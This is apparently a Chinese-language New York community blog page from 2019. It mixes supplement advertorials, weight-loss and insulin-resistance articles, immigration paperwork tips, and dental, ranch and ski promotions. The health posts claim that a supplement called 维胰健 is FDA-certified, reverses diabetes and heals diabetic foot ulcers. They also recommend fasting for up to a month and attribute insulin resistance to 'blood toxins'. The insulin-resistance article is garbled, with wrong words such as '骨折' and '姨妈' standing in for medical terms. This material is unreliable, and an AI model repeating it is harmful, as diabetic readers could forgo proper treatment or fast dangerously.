糖尿病视网膜病变视觉模糊状态改善
前文和大家分享了张老汉的故事，大家一定引以为戒，莫要等到疾病到了无法挽回的余地再去后悔。根据许多服用者的反馈，在服用一个月后视力下降有明显改善，感觉目光明亮，眼睛不再干涩。

糖尿病足及手脚麻木改善
糖尿病足及手脚麻痛的人在服用一个月左右，下肢及足部的皮肤损伤及溃烂得到改善，出现新生微血管，皮肤呈现愈合状态，手脚麻痛及无知觉的神经性病变状态改善或消失，下肢血管栓塞导致的疼痛状态改善或消失。

消化功能改善
糖尿病患者常伴有胃肠功能障碍和肠道菌群失调，出现很多不适，如：食后腹胀、烧灼感、便秘、排气多伴恶臭等等。
有服用者反映大概在服用20天左右上述胃肠的不适感消失。

同时维胰健还有美国FDA认证，许多糖尿病病人在使用了我们的饮食法，再配合使用维胰健之后，糖尿病均发生了逆转！

2019-11-12 / by happy1 / in 医疗健康

更新的工卡还没收到驾照即将过期怎么办

驾照就要到期了，更新的工卡还没收到，怎么办？

工卡更新可以提前120天申请。当移民局收到工卡更新申请材料后，他们会在一到两个星期内给你寄回执Form I-797。从2017年1月17日开始，移民局出了一条新规定，如果你是在手头这张EAD卡过期前及时递交了工卡更新申请，并且你的EAD卡种类是C8/A5/A10/C9/A3等等同等类别的更新(一定要同等类别，例如旧卡是C8，更新的还要是C8才行），你可以凭着I-765收据（Form I-797)自动把你现在的EAD卡延180天。

在驾照过期前，带着驾照，旧工卡，社安卡，I-797表（工卡更新收据）这四样，去DMV办理驾照延期，可以延期180天。DMV通常先给你一张有效期为两个月的纸驾照，要和旧驾照一起用才有效！大概4个星期左右，你会收到新的延期6个月的驾照寄给你！办理是免费的！

等新工卡收到，再去DMV一趟，把驾照更新成工卡有效期。

法拉盛中华律师楼代办工卡更新服务，收费少

咨询电话：718-461-8461

法拉盛地址：136-20 38th Ave, Suite 9I Flushing, NY 11354

网址：http://www.xwonglaw.com

中华律师楼王雪洁律师电话： 718-461-8461 纽约民事诉讼律师纽约离婚律师纽约移民入籍

2019-11-12 / 1 Comment / by davidhorgan479 / in 其它, 律师/移民/金融, 移民生活

减肥心得：这样才能走出减肥恶性循环！

瘦身这个话题，是持久不衰的。时至今天，瘦身减肥已经成为女人的终身事业，不管年龄多大，都永远在减肥的路上。

再不瘦身减肥就晚啦！

肥胖也可以说是一个“富贵病”，尤其是在生活条件越来越好的今天，肥胖率也在逐年上升。肥胖不仅影响美观，更影响身体健康，早在1996年，世界卫生组织（WHO）就已正式将「肥胖」列为一种疾病。因为国人前五大死因中，癌症、脑中风、心脏病、糖尿病以及其他许多种慢性疾病，都和肥胖有着密切关系，所以减肥绝对是有必要的。

但是，减肥真的有这么容易成功吗？相信在屏幕面前的读者，也有一次次减肥又一次次失败的经历。我们不断的在社交媒体上寻求答案，想要看看别人的减肥心经，“XXX用了这个方法月瘦10斤”这种文章屡见不鲜，大致的意思都是让你严格控制卡路里，减少脂肪摄入，多运动。不管是社交媒体的意见领袖还是权威医生，都曾这样说过。如果你最终没有减肥成功，那么别人会说，你一定是吃的太多了，或者你一定是偷懒没运动。

体重增加的深层原因

但事实是这样吗，减肥一定只能去控制卡路里?先不说能不能成功，这个方法首先就是不人道的。如果你为了减肥，每次吃东西的时候都要查阅一下食物的卡路里，那么吃饭还有什么乐趣可言，这样子能坚持下去的人当然是少之又少。但是我相信其中不乏真的做到了低脂饮食的人，但是他们全部瘦下来了吗，并没有。

为什么会这样，因为我们思考问题的思维经常是从结果出发找出路，而不是回归出现问题的原因的寻找答案。造成肥胖的原因是什么，吃得太多，运动的太少，没错，这是最直接也是最表面的原因，但是最深层次的原因才是能够解决问题的根本！

举个例子，我们身边总有那么几个有烟瘾的人。是什么原因引起烟瘾呢？直接原因是抽太多烟了（这是无可否认的事实），但只了解这一点是不够的。我们应当思考的背后的问题是：引起烟瘾的终极原因。这些原因包括：▼对烟成瘾的本性。 ▼家族性烟瘾病史。 ▼家中过度的压力。 ▼成瘾的人格特质。针对疾病的治疗，需针对根本的原因而非表象的成因。只有根本的原因，才能找到有效的治疗方式。

这个原理适用于每一件事。例如：▼为何房间如此热？直接原因：热的产生多于热的排除。解决方式：打开电扇，增加热的排出。终极原因：温度计的温度设定太高。解决方式：降低温度的设定。 ▼为何会沉船？直接原因：重力大于浮力。解决方式：减轻船的重量以减少重力。终极原因：船身有一个大洞。解决方式：把洞补起来。

相信大家细细品味之后会得到一些启发，可以试着对自己灵魂拷问一下：我为什么会变胖？表面原因：卡路里摄入过多，深层原因：当然没这么容易找到啦

但是，今后我们就会带领大家慢慢去找到肥胖的根源，找到一个既容易坚持又容易成功的减肥方法。

为什么你总抵制不了美食诱惑

青春期之前，男孩与女孩身上的脂肪比例相同；青春期之后，即使男性摄取更多的热量，女性平均而言仍比男性多50％的体脂。根本的原因为何？与个人选择无关，不是人格缺陷所造成，也绝非女性比男性好吃懒做。其实是男性与女性荷尔蒙作用的结果，女性荷尔蒙使女性较易将过多的热量囤积为脂肪，而非燃烧。怀孕时体重也容易大幅上升，这其中根本的原因为何？很明显的是怀孕时荷尔蒙改变所导致，而非个人的选择。由于对表象原因与根本原因的错误认知，很多人相信减重需要减少卡路里的摄取。政府机关也是。

荷尔蒙影响体重，就是我们要探讨的重要概念！

其实纵观人类历史，我们的祖先并不胖，他们的饮食也是以传统饮食为主，就是米面糖和精制淀粉。有时候我们过分克制自己去节制饮食，而陷入了恶性循环，体重减少无可避免地会减少新陈代谢及增加饥饿感，于是我们很容易吃得太多。过度进食不是个人的选择，不是难以抗拒美食的诱惑，而是荷尔蒙的指示。长此以往的恶性循环，只会让我们在一次次的复胖中放弃减肥。

运动不是决定因素，饮食才是

在减肥这件事上，大家的悲喜还真的是能相通的。有些人在健身房挥汗如雨，每天运动3-4小时，依旧不见得瘦下来，只能苦笑一下，或许自己就是易胖体质吧。运动是需要的，但是不是最主要的原因。就连彼得．阿提亚医师（Dr. Peter Attia），是倡导营养科学（Nutrition Science Initiative, NuSi）的共同创办者，他在遵守高碳水化合物饮食，并且每天训练3至4小时的情况下，依旧属于超重的族群，约超重18公斤，身体质量指数（BMI）为29，且体脂肪高达25％。

那么什么样的人能瘦下来，山姆．费尔谈（Sam feltham），是英国一位合格的个人训练教练做了这样一个实验。实验前后采取「低碳水化合物与高天然油脂」和「标准美式饮食」的饮食方法，并于每日固定摄取5794卡路里，再分别持续21天，最后比较体重的变化。在采取低碳水化合物饮食中，费尔谈所摄取的饮食比例为10％碳水化合物，53％脂肪及37％蛋白质。根据标准的卡路里计算方式，预计体重会也增加7.3公斤；然而实际只有增加1.3公斤。更有趣的是，他的腰围减少1吋（2.54公分），这表示增加的体重其实是肌肉的重量。为了避免「费尔谈具有先天优势，吃再多都不会胖」的疑虑，他马上改采取包含精制类食品的标准美式饮食，比例为64％碳水化合物，22％脂肪及14％蛋白质，与《美国饮食指南》相似。这一次，体重增加如卡路里公式所预测，增加7.1公斤，腰围增加3.6英吋（9.14公分）；经过短短3星期，他的肚皮已经多了一层游泳圈。

因为长时间摄入过多的糖分会产生胰岛素阻抗，经过一段时间后，胰岛素阻抗性将诱发身体产生更多的胰岛素，用以克服阻抗力。关于胰岛素阻抗性，食物的组合与进食时间，是两大关键。食物的种类，会影响到胰岛素的浓度。我们该吃糖果还是橄榄油？这是关于营养素种类的选择。然而，持续释放的胰岛素也是一个问题，所以何时进食也变得非常重要。包括食物的组合与进食时间，两者都一样重要。

现在，我们符合胰岛素阻抗有两个先决条件：高浓度及持续性。倘若遵循低脂饮食，容易过度摄取精制碳水化合物，进而刺激身体产生高浓度胰岛素，并导致体重上升。但是在肥胖形成的过程中，进食频率的增加，与饮食内容一样的重要。我们开始将大量的心力投注于研究该如何吃？我们吃着许多十年前不存在的东西，例如藜麦、奇亚籽及巴西紫莓。这些食物都是让我们变瘦的希望。但是我们从来未曾想过该何时吃？如同许多迷思说服着人们，点心是健康的，或者是教导我们，若进食得愈频繁，新陈代谢率将会愈高。虽然新陈代谢率会因为食物的消化（食物的产热效应）产生些微的上升。

最近的研究证实多摄取天然油脂，例如坚果及橄榄油对减肥大有益处，因此我们开始认知到，多摄取油脂对健康具有益处。但是，我们就是无法甩掉这个感觉─纤维是有益的。许多相关性研究，包含皮马人及加拿大原住民，发现低身体质量指数与高纤维摄取有关。

最近，CARDIA长达10年的观察性研究发现，摄取较多纤维者，体重较不易增加。短期的研究也显示，纤维可以增加饱足感，减少饥饿并帮助我们减少卡路里的摄取。纤维保健食品的随机研究显示，补充纤维具有相对中度的减重效果，12个月后平均可以帮助我们减重1.3至1.9公斤，但是目前并没有长期实验的证据。

断食法——胰岛素抵抗的解药

我们还推荐减肥人群去尝试断食法。断食不是节食，较短时间的断食被执行频率通常较高。有些人喜欢一天16小时断食，这些人只在8小时进食窗口内摄取三餐。较长的断食包含24∼36小时，每周2∼3次；更长的断食可达1周到1个月。

在24小时断食，你可以从晚餐（或午餐、早餐）断食，直到隔天晚餐。意即跳过早餐、午餐及点心，只吃晚餐。基本上，你跳过2餐，断食从晚上7点到隔天晚上7点。在36小时断食，从断食日当天的晚餐，到2天后的早餐；意思为跳过一整天的早餐、午餐、晚餐及点心。断食时间为断食日晚上7点到2天后早上7点。较长的断食时间对于第二型糖尿病患者，可以产生较低的胰岛素、较好的减重效果及较佳的血糖控制。

断食日你可以摄入水、茶、美式咖啡、黄瓜片、肉桂等等，但是不能摄入含有人工甜味剂的东西和含糖分的东西。如果感到饥饿的话就多喝些水。

综上，希望大家能够走出减肥恶性循环，能够找到适合自己的减肥方法，不要在盲目追求卡路里平衡了，可以多去尝试一些例如低碳饮食和断食法，当然如果你还感到困惑的话，也可以联系我们维胰健为你提供减肥方面的专家意见。

2019-11-09 / by happy1 / in 医疗健康

胰岛素抵抗你了解吗？

胰岛素抵抗是什么？

胰岛素抵抗是指各种原因使胰岛素促进葡萄糖摄取和利用的效率下降，机体代偿性的分泌过多胰岛素产生高胰岛素血症，以维持血糖的稳定。

在《内科学文献》上发表的一项研究，研究了23000人如何坚持四个简单的行为：不吸烟，每周锻炼3.5小时，保持健康的饮食和保持健康的体重。就可以预防93％的糖尿病，81％的发病率，50％的中风，和36％的各类癌症。

例如就像正常人的人一个单位的胰岛素可以降十个单位的血糖，而在二型的糖尿病患者中，同样一个单位的胰岛素，只能降为五个单位的血糖。直白的说法就是胰岛素工作能力下降了，这种体内胰岛素抵抗是二型糖尿病的根本原因。

对一个正常人来说，吃进的食物经过消化分解成葡萄糖，当血糖升高的肘候，骨折就开始复制并进入血液，将血糖迅速降低到正常范围。实际上，由于身体对胰岛素的敏感性下降，所以同样的胰岛素却无法产生降血糖的效果，从而就形成了高血糖，糖尿病。所以高血糖不是导致糖尿病的原因，它也是一个个体身体出现问题的结果。

糖尿病抵抗不但是2型糖尿病的根本原因之一，它还与高血压，高血脂，血液黏稠度高，血脂代谢异常有关，是引发动脉硬化的病因。如果我们糖尿病患者单纯的服用降糖药来始终是“治标不治本”，要引起诱导胰岛素抵抗的真正原因才是治本。

一个具有正常代谢的人，胰岛素是在进食后由淀粉内的胰岛β-细胞分泌的，它传递信号给体内的胰岛素诱导组织（例如肌肉与姨妈），使细胞膜表面产生葡萄糖运体4型（ GLUT4）吸收葡萄糖来降低血糖含量到一个正常值（大约5 mmol / L，或90 mg / dL）。

在一个胰岛素抗性的人体内，正常水平的胰岛素无法激发诱导肌肉和微小细胞吸收葡萄糖的信号。为了进行补偿，胰岛素抗性个体的增殖释放大量的胰岛素，以使足够的细胞被激发通常情况下，这会导致在餐后数小时后血糖含量的急剧下降和低血糖反应。

【胰岛素抵抗的成因】

我认为不光是高碳水化合物，高粪，高蛋白的饮食方式，暴饮暴食，过度油腻甜辣的饮食方式也是造成抵抗的原因。

正是因为这些不良的饮食习惯，导致血液中堆满了有毒垃圾和血污，当妳的血液里有很多的杂质的时候，缓冲和阻隔了胰岛素和血液中的蛋白质的中和作用，血管通道变得日渐渐渐造成肌体细胞内缺氧，从而造成对正常分泌的胰岛素不敏感，导致正常水平的胰岛素无法激发诱导肌肉和异常细胞吸收葡萄糖的信号，起不到正常的降糖作用。

这理隔，只有把血管内血液中的杂质和毒素垃圾给清理干净了，细胞内就有因此，我们要注意清除血液中毒素的同时，也要适量的增加体内的氧气，因为体内细胞的活性全靠氧气调节呢。这样机体的细胞才能恢复正常运作。

【胰岛素转变为糖尿病的过程】

胰岛素抵抗性可以发展为彻底的二型糖尿病。常见的是餐后高血糖症，在这种情况下，β-细胞在高血糖的情况下无力分泌更多的胰岛素是从胰岛素抗性向二型糖尿病转变的特征。

许多研究都可以使人体对胰岛素变得越来越抵抗，例如感染（由细胞因子肿瘤坏死因子α介导），酸毒症，过高的压力，吸烟及接触二手烟。（由成年人细胞制造的细胞因子）对胰岛素抗性的成因。胰岛素抗性也可能与特定的药物（例如糖皮质激素）有关。

毫无成因，提高了血糖含量都会导致蛋白质的糖基化。

注：糖基化是在酶的控制下，蛋白质或垂直附加上糖类的过程，起始于内质网，结束于高尔基体。在糖基转移酶作用下将糖转移至蛋白质，和蛋白质上的蛋白质残留糖基化作用，形成糖蛋白。糖基化是对蛋白的重要的修饰作用，有调节蛋白质功能作用。

那些患有内脏肥厚（即在腹部肌肉壁下储存大量的姨妈组织-区别于皮下姨或皮肤与肌肉之间的姨妈），高血压，高血糖症和坏血脂症（导致增高甘油三酸脂，小低密度脂蛋白颗粒和降低高密度脂蛋白血浆水平）的是常见的胰岛素抗性人群。胰岛素抗性还经常和超凝结状态（缩小的纤维蛋白溶解能力），以及增高的发炎细胞因子水平相关。

胰岛素抗性也偶见于使用胰岛素的患者中。在这种情况下，胰岛素抗体的形成导致在服用胰岛素后葡萄糖含量下降超过期望值（高血糖）。发展应用以及动物胰岛素（例如猪，牛）的削减，某种胰岛素抗性变得很少见。

2019-11-09 / by happy1 / in 医疗健康

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2019-11-02 / by happy1 / in 其它, 房屋买卖, 汽车/房产/保险

纽约植牙，我为什么选择黄磊医生？718-888-1817 法拉盛植牙医生

精典牙科/纽约植牙医生/法拉盛植牙医生　

诊所地址：
131-07 40 Rd 5层 unit E36 ,Flushing，NY 11354(SkyView Center天景医疗中心内)

诊所电话：
718-888-1817或917-285-2262

诊所网址：www.BrightRayDental.com

营业时间：

星期一：（休息）

星期二、三、四、五、六： 9:30am-6：00pm

星期日：（休息）

纽约植牙，我为什么选择黄磊医生？

——忠实“粉丝”如何看法拉盛牙科名医黄磊医生

纽约牙医行业精英云集，没有真才实学和出色的服务，想在牙医行业占一席之地非常难，但法拉盛牙科名医–精典牙科的黄磊医生却做到了出类拔萃，在获得业界众多荣誉的同时，他身后还有一批忠实的“粉丝”。

患者：找到黄磊医生，我果断放弃西人专家级名医

郑先生三年前在黄磊医生处植牙。他今年80多岁，爱打乒乓球，朋友眼中的他体能极佳，就像60多岁的人。他觉得这得益于黄医生的帮助，使他拥有一口好牙，什么食物都能吃，饮食好，营养改善，精神状态也跟着提升。

郑先生一贯做事严谨，对自己的牙齿和身体更是谨慎。他在挑选做种植牙的牙医上做了很多功课，走访比较了多个西人专家级名医和华裔名医，并仔细观察了黄磊医生的治疗方法，惊讶的发现黄磊医生实在是与众不同：

第一，黄磊医生的专业技术和服务，典牙精科的诊所环境和设备，完全与曼哈顿及长岛的西人专家级名医诊所媲美，但收费仅有那些医生的一半。

第二，郑先生这一辈子看过很多牙医，大部分医生给患者检查时一般都是只顾着自己姿势舒服，不会顾虑患者的感受。但他发现黄医生是宁愿自己辛苦点，也要让患者感觉就诊舒适。患者一躺到椅子上，黄医生即可递上护目镜，以免灯光刺眼。如此体贴的小细节不一而举，让患者倍感贴心。

第三，见惯各种大场合及形形色色各种人物的郑先生，初次见到黄磊医生，就觉得他面相善心肠好，再去网上一看各种评价：哇，几乎99%的好评！没有始终如一的长期坚持，谁能做到这一点？

郑先生最后果断放弃了女儿推荐的专家级西人名医，请黄医生帮他做了3颗植牙。他现在还对植牙过程记忆犹新：黄医生手法轻，手术快捷、准确，助理也配合到位，十分顺利。他很满意自己选对了医生。郑先生认为，只有经验非常丰富，熟能生巧，才能达到黄磊医生这种“轻柔”的境界。

王先生：这和大陆做补牙，天差地别

王先生移民美国多年，在朋友的推荐下，也是黄医生的忠实粉丝。他记得第一次在精典牙科补牙时，黄磊医生手法轻柔，令他非常放松。他一边补牙一边欣赏着诊所的轻音乐，居然几乎入梦。对比以前在中国大陆的补牙经历，他觉得真是天差地别，“那时，每次去看牙，心情都非常紧张，因为国内的医生手法重，疼痛不堪，哪能睡得着？”

而黄医生每次检查总是花足够的时间，耐心得和患者讲解问题的起因和解决方法，甚至提供几个治疗方案供患者选择，更重要的是，黄医生总是从患者的角度出发，他中肯又专业的建议令人十分信服。他的太太看到他的经历，也在黄医生这里做了两颗植牙，对黄医生精湛的技术和仁心仁德赞不绝口。他的邻居朋友们也陆续成为了黄医生的忠实粉丝。

邻居李先生告诉他：黄磊医生的高度专业和细心，还曾经救了他一命！在李先生一次常规的洗牙过程中，黄磊医生发现他口腔上方有一囊肿，形状异常，初步判断是口腔癌，虽然和牙齿没有直接关系，但督促他马上去切片化验，结果确诊口腔癌早期，幸亏发现及时，尚是良性肿瘤，避免了病情恶化。此前李先生看过多个牙科及家庭医生，却没有一个人看出问题，要不是黄医生细心且经验丰富，后果不堪设想。

做植牙，黄磊医生的三大优势

患者们普遍发现，相比其他牙医，黄磊医生有三大特点：

1，舍得投资，拥有顶尖的仪器设备

3D断层扫描仪，是价值昂贵的牙科仪器，一般诊所舍不得投资购买，黄磊医生多年前就投下巨资购买。他将这台仪器比喻为牙科手术的GPS，能帮助医生在手术前，就全面了解手术的角度和位置；在手术过程中，可随时了解手术进度，帮医生节省手术时间，减少患者的痛苦。有了黄医生高超的技术再加精密仪器的协助，患者们都说，黄医生真正做到了无痛植牙，比拔牙还要不痛。

2，注重细节完美，兼顾长期效果

患者们明显感受到黄医生手法高明轻柔，注重细节完美，这得益于他长期接受的专业美术训练。黄医生从童年开始即受过长期专业的美术训练，青年时期还办过个人画展，不但让他手指灵活，手眼心一致，还培养了他关注细节追求完美的风格。而牙科手术的每个细节，每个动作，都需要轻柔的手法配合沉稳的心态，才能令诊疗过程极尽完美。在大学期间，他又主修建筑设计，养成整体、连贯思考的职业习惯。这两种训练，使他擅长兼顾细节和整体，又能考虑当下与长远，达到完美的手术效果，在牙医界可谓独树一帜。

3，技术固然重要，认真的态度和对患者的关爱更重要

患者们喜爱黄医生，不仅是因为他精湛的技术，更是因为他真挚得对患者的关爱和仁心仁德。很多患者给笔者诉说了他们以前在不良牙医的看牙经历：一位华人患者在拔掉智齿后，又被医生莫名其妙的在智齿上植了一颗牙；另一位患者在拔牙后需要植牙，贪图单价便宜在一处诊所做植牙，却被她的牙医在拔牙的位置植入两颗植牙，结果不仅多收了一倍的植牙费用，还因为牙齿间距不够，半年之后牙齿发炎。该患者经朋友介绍找到黄磊医生，才了解到真相，不得不先拔掉两颗种植牙，重做植骨手术，恢复后再重新植牙。

黄磊医生十分注重与每一个患者建立一种长期的关系，他把每次治疗都看作是关系到这个患者几年、甚至几十年的大事，因此，每次总是慎之又慎。患者也从治疗中感受到他谨慎、负责、专业的态度，以及对患者真诚的关爱，口碑相传，令他的“粉丝”圈逐年扩大，形成涟漪效应，成为法拉盛广受喜爱的牙科良医。

黄磊医生提醒华人，牙齿保护，就像汽车养护，要定期维护，千万不能等到轮胎在高速上爆胎，才想到做维护。“最有效的治疗，就是提前预防和检查。越早看，越有效果，越便宜，越不痛。”

2019-10-25 / 3 Comments / by happy1 / in 医疗健康, 口腔科/眼科/耳科, 汽车/房产/保险, 肠胃科/儿科/家庭医生

挑选好蛋有7个秘诀

鸡蛋不是越大越好！挑选好蛋有7个秘诀鸡蛋的挑选/鸡蛋/鸡蛋营养价值/挑选鸡蛋/挑选鸡蛋方法/白壳鸡蛋/红壳鸡蛋/新鲜鸡蛋/生活小窍门/egg select/鸡蛋储存/鸡蛋保存方法

2019-10-23 / by happy1 / in 其它

策马扬鞭,荡尽铅华！纽约最好的骑马之旅，松岭度假牧场任你驰骋！附上纽约五大骑马圣地！

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策马扬鞭，荡尽铅华

领略田园牧歌

骑马是一项很休闲的运动，它可以让您的注意力高度集中，从而释放一些压力与负面情绪，获得自信。不但如此，它还能起瘦身健身作用，消耗多余脂肪。金牌资讯为骑马爱好者，特别推荐了骑马绝佳之地—–松岭度假牧场！

地处卡茨基尔山（Catskills）的松岭度假牧场，距曼哈顿仅两小时车程，沿途风光旖旎，是你策马扬鞭的最佳好去处。牧场配备了资深的教练，无论你是初学者还是爱好者，都可以在教练的帮助下尽情享受骑马的乐趣，当然也可以学习到专业的马术知识。

小朋友也可以在松岭度假牧场骑马中培养勇敢的意志，这里是你体验在马背上旅行的最佳选择，也是家庭亲子游的绝佳首选。无论您是在纽约市附近寻找一个有趣的周末度假还是寻找家人或朋友团聚的完美场所，纽约松岭度假牧场（Pine Ridge Dude Ranch）都能满足您的需求！就让骏马那轻盈的步伐打开你的心扉，实现你心灵深处的奔驰之梦吧！

纽约最好的骑马之旅，松岭度假牧场任你驰骋！

松岭度假牧场在40多年前开放，对许多人来说，这里是体验骑马乐趣的好地方。这里的骏马数量众多，辽阔的牧场让马儿们在这里自由成长，也让普通游客享受到在山林骑马穿梭漫步的乐趣。

在连绵数十里的草场上，当你骑着高大的骏马游走期间，远离喧嚣的都市，你会发现心灵的疲惫已经荡然无存。在这里，你会发现，尘世间的烦恼，皆远离了你，感受真正存在的你！

经过去年重新装修之后，牧场焕然一新，被住宿评鉴网“Resorts&Lodges”评为全美前十佳“家庭度假村”！我们所有的节目都是由马匹爱好者为马匹爱好者设计的。牧场有专业教练看护带队，特别安全可靠！骑术高超的客人还能在日落时分策马扬鞭，从指定的专门路线奔驰到山岗，欣赏夕阳缓缓落入地平线的震撼奇景。

骑马是牧场历史悠久的经典运动，需要提前一天下午5点在前台报名登记，每人25美元（税前），9岁以下的小孩免费，这是对孩子们的特别优待哦！在教练的陪同下，孩子们可以安全又舒适的骑在小马上，这可是他们最开心的时刻！

牧场里有许多亲子友善设施，例如孩子们最爱的动物农场，除了可以近距离接触小动物，还有一项名为“Barn Buddies”的体验活动，还可以亲自喂食小马，替它们梳毛，与它们合影留念。

来到这里的游客们看到可爱的山羊、悠闲的母鸡、黑白相间的奶牛和矫健的骏马，心头的琐事早已一扫而空，男女老少都不由得洋溢着笑容，享受着宁静山林清新的空气和天伦之乐，人们感到怡然自得！

当然了，这里还有其他的娱乐设施，在松岭牧场，你能够尝试到许多美国人喜欢玩的体育运动。免费的娱乐项目还有专人在场指导的攀岩墙、弹跳床、板网球、地掷球、手球、躲避球、沙滩排球、沙壶球、迷你高尔夫、马蹄坑游戏、套环游戏、宾戈游戏…简直玩不过来！球类可以去前台免费申请，结束时归还回去，这里还有提供按摩服务的健身中心。

这里的餐厅视野辽阔，必须由餐厅经理安排座位后，方可入座。来松岭度假牧场，您会品尝到美国西部牛仔式晚餐，如烤土豆加牛排，而且三餐都有自助沙拉，沙拉有32种食物供选择，6种沙拉酱，早餐还有新鲜水果。下午5点在前台大厅有免费点心供大家品尝。

下面为大家奉上纽约五大骑马圣地：

１.松岭度假牧场 Pine Ridge Dude Ranch

中文服务热线：(646)898-5329

网址：https://pineridgeduderanch.com

地址：30 Cherrytown Rd, Kerhonkson, NY 12446

２.布鲁克林金斯顿马厩　Brooklyn Dancesport Club

电话：718-972-4588
网址：http://www.brooklyndancesportclub.com/
地址： 1825 65th St, Brooklyn, NY 11204美国

３.Kensington Stables骑马场

地址： 51 Caton Pl, Brooklyn, NY 11218美国
网址：http://kensingtonstables.com/
电话： +1 718-972-4588

４.New York Equestrian Center纽约马术中心

地址： 633 Eagle Ave, West Hempstead, NY 11552美国
网址：http://www.mynyec.com/index.php
电话： +1 516-486-9673

５.New York City Riding Academy

地址： 1 Ward’s Island Bridge, New York, NY 10035美国
网址：https://www.nycridingacademy.org/
电话： +1 212-860-2986

温馨提示：如果您是初学者，骑马当天并不会感觉很累，反而第二天会明显感到肌肉的疲劳，但骑马的次数多了也会适应，更多的享受骑马的乐趣。在与马儿亲密接触、共同奔驰的过程中相信您一定会获得不少乐趣！

2019-10-22 / by happy1 / in 律师/移民/金融, 移民生活

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2019-10-20 / by happy1 / in 汽车/房产/保险

节省暖气费的简单方法

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2019-10-20 / by happy1 / in 其它

美签受限我们必须要了解的事

美签受限我们必须要了解的事美国签证/旅游/签证/美国/医保/负担医保/美国海关/保险/移民/配偶/入境

2019-10-18 / by happy1 / in 律师/移民/金融, 移民/签证/护照, 移民生活, 美国新闻

美生活成本将上涨！

美生活成本将上涨！华人对于社安福利要了解哪些？美国生活成本/美国社会安全局/SSA/社会福利/公共福利/医疗保险/退休福利

2019-10-18 / by happy1 / in 医疗健康, 律师/移民/金融, 求医指南, 移民生活, 美国新闻

冬季度假胜地——盐湖城│超级打折滑雪票和景点优惠通票

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冬季度假胜地——盐湖城

超级打折滑雪票和景点优惠通票

中文网址：https://saltlakecity.socoms.website/

电话: 1-800-201-8619

雄浑与浪漫之都盐湖城 Salt Lake City

（记者李晴照，李燕，林海）今年冬天度假去哪里呢？盐湖城是很棒的选择！从洛杉矶或旧金山，只要一个半小时航程即可飞到盐湖城。盐湖城是美国犹他州的首府和最大城市，地处美国西部内陆山区，环境优美，景色壮丽，治安良好，拥有两千多家餐馆、超过九千个酒店房间。雄浑的自然景观与浪漫的都市生活交相辉映，将为您和家人的冬季度假之旅留下难忘的记忆。

圣诞和新年彩灯

世界级滑雪场体验最好的天然雪

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冬天的盐湖城之行您一定要去领略世界级滑雪胜地的魅力。这里野外空气清新、视野开阔， 2002年冬奥会就在盐湖城举行，所以各个滑雪场都有奥运标准的滑雪道和顶级的配套设施，能为您的滑雪之旅提供最完善的服务。

世界级滑雪胜地盐湖城

著名的世界级滑雪场如阿尔塔滑雪场（Alta Ski Area）、布莱顿滑雪场（Brighton Resort）、孤独滑雪场（Solitude Mountain Resort）和雪鸟滑雪场（Snowbird Ski & Summer Resort），平均每年降雪550英寸，拥有“地球上最好的粉雪”。因为每年有吸引大批游客来滑雪场游玩，而滑雪场的地理位置和设施各有特色，于是「滑雪之城超级通票」（Ski City Super Pass）应运而生。

盐湖城世界级滑雪场

上面提到的四家世界著名的滑雪场，都在这张滑雪之城超级通票的使用范围。有了超级打折通票，去这四家滑雪场就不需排长队临时购票，免排队优先登上雪山，不仅涵盖了四家的缆车票，而且享受滑雪器具租赁的打折优惠，还能从市中心到滑雪场免费搭乘滑雪巴士Ski Bus。

盐湖城世界级滑雪场

阿尔塔滑雪场Alta Ski Area对80岁以上长者免费，布莱顿滑雪场Brighton Resort 对不超过10岁的儿童免费，雪鸟Snowbird Ski 滑雪场对不超过6岁的儿童免费，孤独滑雪场Solitude Mountain对不超过4岁的儿童免费。

儿童滑雪免费

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带上超级通票的朋友在滑雪场租赁滑雪装备可享有20%至40%不等的优惠：在阿尔塔滑雪场的雪商店（Alta Ski Shop）和布莱顿滑雪场的租赁商店（Brighton Rental Shop）均有20%折扣；在雪鸟滑雪场的溪畔运动租赁店（唯一指定店）（Creekside Sports Rentals）有40%折扣；在孤独滑雪场的粉角探险中心（Powderhorn Adventure Center）提供汉堡、热狗、煎鲑鱼、色拉、甜点等的月光小屋（Moonbeam Lodge），均有20%的折扣。

盐湖城滑雪场风景秀丽

滑雪之城超级通票第一次使用时即被激活，然后在14天内有效。一旦激活的14天内，游客可以根据购买的天数自行安排具体时间。通票的价格根据滑雪的总天数不同而有相应的每日定价，在3至10天的可选滑雪期内，通行证的每日票价分为3类。

超级通行证滑雪天数	成人平均每日票价	青少年平均每日票价
3～4天	$110	$60
5～6天	$105	$55
7～10天	$100	$50

也就是说，有了超级通票，成人如果选择3天的滑雪天数，票价为330美元，10天为1千美元，青少年每天比成人优惠50美元，所以青少年选择3天和10天的价格分别是180美元和500美元。

这里也是学习滑雪的好地方，开阔的场地和松软的雪质，即使您不会滑雪也不要担心，每个滑雪场都配有优秀的滑雪教练，从小孩到老年人，从初学者课程到高级课程，不管是初学者、中级滑雪者还是专家级滑雪者都能找到适合自己的雪道。

专业教练教授滑雪

除了滑雪之外，度假村还有很多其他活动，如乘坐雪鸟空中缆车（Snowbird Tram）到达山顶餐厅，欣赏壮观雪景，而且山顶餐厅全年开放。雪地摩托车和雪鞋山间行走也是非常受欢迎的活动。如果您住在滑雪场，还可以免费享受他们的室内外温泉。置身于山林之中，一边观赏美丽雪景，一边泡温泉呼吸新鲜空气，令人心旷神怡，恍如置身仙境！

雪景缆车一望无际的雪山尽收眼底

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滑雪场泡温泉身心放松

骑上雪地摩托车（Snowmobiling），就可以不错过偏远的山区美景。这种自行旅游的方式让你有机会去到少人涉足的区域，无论是新手还是经验丰富的骑手，用雪地摩托车就可以少走路，尽情放松一下双腿，在新鲜的粉雪上留下车胎经过的痕迹。

越野滑雪（Cross-country skiing 或Nordic skiing）是锻炼身体的好方法，盐湖周围的山地有数英里经过修整的步道。你可以在许多度假村或滑雪商店租用越野滑雪的器材，无论是喜爱传统滑雪还是滑板滑雪的人，都能在越野滑雪中有自己的收获。

穿雪鞋行走（Snowshoeing）也是一项很好的健身运动，你甚至可以请导游陪同你在雪地里穿行，欣赏雪景，呼吸大自然的新鲜空气。

雪鞋行走运动

无论是在犹他奥林匹克公园的室内滑冰场（Utah Olympic Oval）还是在市区的加利文中心（Gallivan Center）的滑冰场，滑冰永远是全家人可以一齐享受的运动。盐湖城的一些滑冰场里有可爱的小型冰上助行器，可以让初学走路的幼儿或不能独立穿滑冰鞋行走的孩子体验滑冰乐趣的同时，扶着助行器就不担心会摔倒。

盐湖城景点一票通享50%-80%优惠

